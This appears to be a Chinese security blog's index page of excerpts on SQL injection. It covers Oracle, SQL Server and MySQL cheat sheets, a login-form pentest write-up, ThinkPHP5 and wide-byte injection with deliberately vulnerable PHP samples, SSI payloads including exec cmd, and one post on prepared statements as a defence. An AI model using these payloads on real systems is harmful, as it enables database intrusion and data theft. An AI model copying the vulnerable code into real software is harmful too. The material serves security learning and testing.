通过 selenium 和 flask 中转后利用 sqlmap 进行注入

0x00 先说前提 昨天某个小伙伴说有个注入没法搞 前端提交登陆表单时数据包加密了, 而且有个 sign 字符串每次都不一样用于校验, 应该是用 js 加密了 0x01 找加密的 js 文件 注入的地方是获取验证码时的手机号, 刚开始想着先找到 js 加密的函数, 然后生成 sign 再组数据包发送。 就像 记一次SQL Server报错注入 中一样, 用 selenium 或者 PhantomJS 执行 js 代码生成sign 一番查找发现了加密的 js 文件函数, 但是用的是 angular 这个前端框架, 没用过这个东西。。。。。 能看懂一般的 js 代码, 但是这个没得搞, 不懂。。。 0x02 数据中转 本来昨天我已经放弃了的, 结果今天上午小伙伴又找我了, 说还没有整好, 又看了一通 js, 仍然无解, 看不懂。。。 想起昨天有个大佬说用 PhantomJS + flask 这样、那样、再这样, 中转数据就可以用 sqlmap 跑了, emmmmm。。。 虽然很早以前用过 asp 的 Cookie 注入中转 , 但是那个是软件, 一直没有搞懂原理, 现在正好趁机学下


SQL注入tips(Oracle)

0x00 判断数据库类型 Oracle有一些自带的表:dual、user_tables id=45 and (select count(*) from user_tables)>0-- id=45 and (select count(*) from dual)>0-- 利用自带的一些函数:譬如utl_http.request 这些 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49) 0x01 基本信息获取 查看sid select instance_name from v$instance; 查看数据库版本: select banner from v$version where rownum=1; select banner from sys.v_$version where rownum=1; 查看用户: select user from dual; --当前用户 select username from user_users; --当前用户 select username from all_users; --查看所有用户 select username from dba_users; --查看所有用户(需要有权限) 查看当前用户角色:


记一次SQL Server报错注入

0x00 验证码前端验证 需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行 那就抓个包吧 emmmmmm。 32位,md5加密?这里看着没有验证码之类的信息,把这个包发了几次发现没有出现验证码信息,而且试了试,发现有两种状态(运气比较好,有admin这个用户,我也是试的这个用户,一下子就看出返回不同了),如下: 用户不存在时返回 {"iserror":true,"message":"用户名不存在!","data":null,"errorfieldlist":null} 用户名存在时返回 {"iserror":true,"message":"密码不正确!","data":null,"errorfieldlist":null} 可以的,验证码前端验证,我觉得可以burp抓包intruder一下 跑了top 500的用户名和top 1000的密码,除了直接试的用户名admin,其他的一个都没有跑出来 sad 0x01 存在注入 嗯看来爆破是基本没有希望了,测其他的吧,嗯,这里是登陆,那肯定要看注入的,无脑加单引号,boom! 可以的,and 1=1 有注入 哎??!!!那不对啊,咋的后台还解密md5后进行查询?? 刚才看了数据包,用户名密码都是32位,猜想sql语句是:select password from user where username=name_md5_hash,然后判断用户存不存在之类的 看返回信息的话显然不是啊,哪有后台解密md5后查询的。。。。。。 试试post其他用户名和密码,然后看数据包 显然并不是md5。。。。 这个是前端加密后发送的。。。。。看一下js,结果发现了这个 emmmmm,想了想,应该可以注入的,看看啥系统 大概率SQL Server了(因为前几天在t00ls刚看到了一个ASP.NET+MySQL,比较任性),所以这里看一下,发现确实是SQL Server 看看数据库版本,嗯,看来还是报错注入 可以可以,看看有几列,然后进行union注入 一列,这里也能大致猜出来sql语句了,估计就是:select password from user where username='admin' 那就看看数据库吧,不知道SQL Server中的concat怎么用,一个个来吧。。。。 得到第一个数据库的名字:union select name from master.dbo.sysdatabases where dbid=1 得到第二个数据库的名字:union select name from master.dbo.sysdatabases where dbid=2 得到第5个数据库的名字:union select name from master.dbo.sysdatabases where dbid=5 好麻烦啊,拖一下验证码,然后得到一个数据库,而且后面还有表呢。。。。。 py一下了吧,前端有js进行加密,可以本地写文件生成加密后的payload,然后python拿到payload后进行注入


SQL注入tips(SQL Server)

0x00 基础信息探测 @@VERSION,@@SERVERNAME,@@SERVICENAME; --Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008 --MSSQLSERVER USER,CURRENT_USER,SESSION_USER,SYSTEM_USER; --dbo --dbo --dbo --sa USER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME(); --dbo --wyb --46530 --sa USER_ID(),USER_SID(); --1 --<01> ORIGINAL_LOGIN(); --sa 0x01 UNION query & error-based 注入 判断存在注入 and 1=1/and 1=2 select * from msg where id=1 and 11=(select case when(1=1) then 11 else 2 end); select * from msg where id=1 and 11=(select case when(1=2) then 11 else 2 end); 判断是否为sa权限 select name from msg where id=1 and 1=convert(int,(select is_srvrolemember('sysadmin'))); 得到所有数据库名字 --报错得到数据库名,前6个是系统自带的数据库,所以从第7个开始,dbid依次增加即可得到所有数据库 select id,name from msg where id=1 and 0<>(select name from master.


SQL注入tips(MySQL)

环境:MySQL 5.5.47 0x00 注入点在Order by后面 mysql> select id,name,content from msg where id>1 order by id into outfile 'C:\\Apps\\phpStudy\\WWW\\a.txt'; Query OK, 1 row affected (0.01 sec) mysql> select id,name,content from msg where id>1 order by updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~msg~' mysql> select id,name,content from msg where id>1 order by name procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1); ERROR 1105 (HY000): XPATH syntax error: '~rtest~' mysql> select name from msg where id>1 order by if(1=1,1,(select 1 union select 2)); +----------+ | name | +----------+ | xiaohong | +----------+ 1 row in set (0.


ThinkPHP5的where函数

0x00 关于thinkphp5的where函数 年前公司委托别的公司开发一个网站,使用的是ThinkPHP 5.0.13,存在一个注入漏洞,分析后发现是因为tp5中的where函数使用不当,tp5中where这个函数可以接收字符串和数组这两种类型的参数来进行查询,而在用字符串这种传递方式时,如果使用不当的话就可能会出现sql注入。 0x01 示例代码 tp5/application/home/controller/Index.php <?php namespace app\home\controller; use think\Db; class Index { //http://127.0.0.1/Source/tp5/home/index/testdb/id/1 public function testDb() { // 调用 tp5/thinkphp/library/think/Db.php 的 connect() 函数 初始化数据库,并取得数据库类实例 $msg = db('msg'); $id = input('param.id',1); //不存在id的话默认为1 //在Db.php中use think\db\Query; $msg->where()则调用了Query.php中的where函数进入查询流程 $result = $msg->where("id=".$id)->select(); // $result = $msg->where(['id'=>$id])->select(); echo '<br/><hr/>执行的sql语句:'; echo $msg->getLastSql(); echo '<br/>最终得到的结果:'; echo var_dump($result); } } where函数接收字符串和数组时,访问http://127.0.0.1/Source/tp5/home/index/testdb/id/1执行的SQL语句分别如下: SELECT * FROM `msg` WHERE ( id=1 ) SELECT * FROM `msg` WHERE `id` = 1 前者存在注入,当payload为: ) and 1=1 and (1)=(1时判断返回如下: 主要调用文件及函数顺序如下:


SSI注入

0x00 SSI SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。 在很多场景中,用户输入的内容可以显示在页面中,一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞 若注入点在url中则可能需要进行url编码 0x01 payload "-->'-->`--><!--#set var="a" value="123"--><!--#set var="b" value="654"--><!--#echo var="a"--><!--#echo var="b"--> <!--#echo var="DATE_LOCAL" --> <!--#exec cmd="dir" --> 0x02 示例 Referer被输出到了页面中 url中的数据被输出到页面中(有时候url中的payload需要url编码)


[转]MySQL报错注入原理分析(count()、rand()、group by)

原文链接:http://drops.wooyun.org/tips/14312 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;这是网上最常见的语句,目前位置看到的网上sql注入教程,floor 都是直接放count(*)后面,为了排除干扰,我们直接对比了两个报错语句,如下图 由上面的图片,可以知道报错跟位置无关。 0x02 绝对报错还是相对报错? 是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图: 确认表中只有一条记录后,再执行报错语句看看,如下图: 多次执行均未发现报错。 然后我们新增一条记录。 然后再测试下报错语句 多次执行并没有报错 OK 那我们再增加一条 执行报错语句 ok 成功报错 由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。 0x03 随机因子具有决定权么(rand()和rand(0)) 为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图: 一条记录的话 无论执行多少次也不报错 然后增加一条记录。 两条记录的话 结果就变成不确定性了 随机出现报错。 然后再插入一条 三条记录之后,也和2条记录一样进行随机报错。 由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。 0x04 不确定性与确定性 前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。 为了证明我们猜想,分别对floor(rand()*2)和floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图: mysql> select floor(rand()*2) from `T-Safe`; +-----------------+ | floor(rand()*2) | +-----------------+ | 0 | | 0 | | 0 | | 0 | | 0 | | 0 | | 1 | | 0 | | 0 | | 0 | | 0 | | 0 | +-----------------+ 12 rows in set (0.


SQL注入之防御

0x00 要做的事 也就是找到注入点然后修复 0x01 防御方法 使用预编译语句绑定变量(比如php的mysqli、pdo) <?php //预编译 $mysqli = new mysqli("localhost","root","123456","share"); $mysqli->query("set names utf8"); $sql = "INSERT INTO test (name,sex,age) VALUE(?,?,?)"; $s = $mysqli->prepare($sql); //绑定参数 $name = "Tom"; $sex = "M"; $age = 23; $s->bind_param("ssi",$name,$sex,$age);//ssi的意思是字符、字符、整型 //执行 $result = $s->execute(); var_dump($result); $s->close(); ?> 使用存储过程(这里以SQLServer举例) --如果存在名为get_student_msg(相当于函数)的存储过程则删除 IF EXISTS (SELECT name FROM sysobjects WHERE name='get_student_msg' AND type='p') DROP PROCEDURE get_student_msg CREATE PROCEDURE get_student_msg --创建存储过程 @name VARCHAR(20) --声明全局变量 AS BEGIN SELECT * from info WHERE name=@name END GO --创建好存储过程后在其他地方直接使用函数并传参就行了 EXEC get_student_msg 'xiaoli' 使用转义函数


SQL注入之宽字节注入(MySQL)

0x00 应用场景 在注入时通常会使用单引号、双引号等特殊字符。在应用中,通常为了安全,开发者会开启php的magic_quotes_gpc,或者使用addslashes、mysql_real_escape_string等函数对客户端传入的参数进行过滤,则注入的单引号或双引号就会被"\"转义,但是,如果服务端的数据库使用的是GB2312、GBK、GB18030等宽字节的编码时,则依然会造成注入。 0x01 测试代码 <?php $conn = mysql_connect('localhost','root','root'); mysql_select_db('messages',$conn); if (isset($_GET['id'])) { $id = addslashes($_GET['id']); //转义id $sql = "select * from msg where id='$id';"; echo $sql."<br />"; $result = mysql_query($sql); $rows = @mysql_fetch_assoc($result); if ($rows) { echo '<table align="left" border="1">'; foreach ($rows as $key => $value) { echo '<tr align="lift" height="30">'; echo '<td>'.$key.'----'.$value.'</td>'; echo '</tr>'; } echo '</table>'; } else { echo mysql_error(); } } else { echo "please input id.



可以返回顶部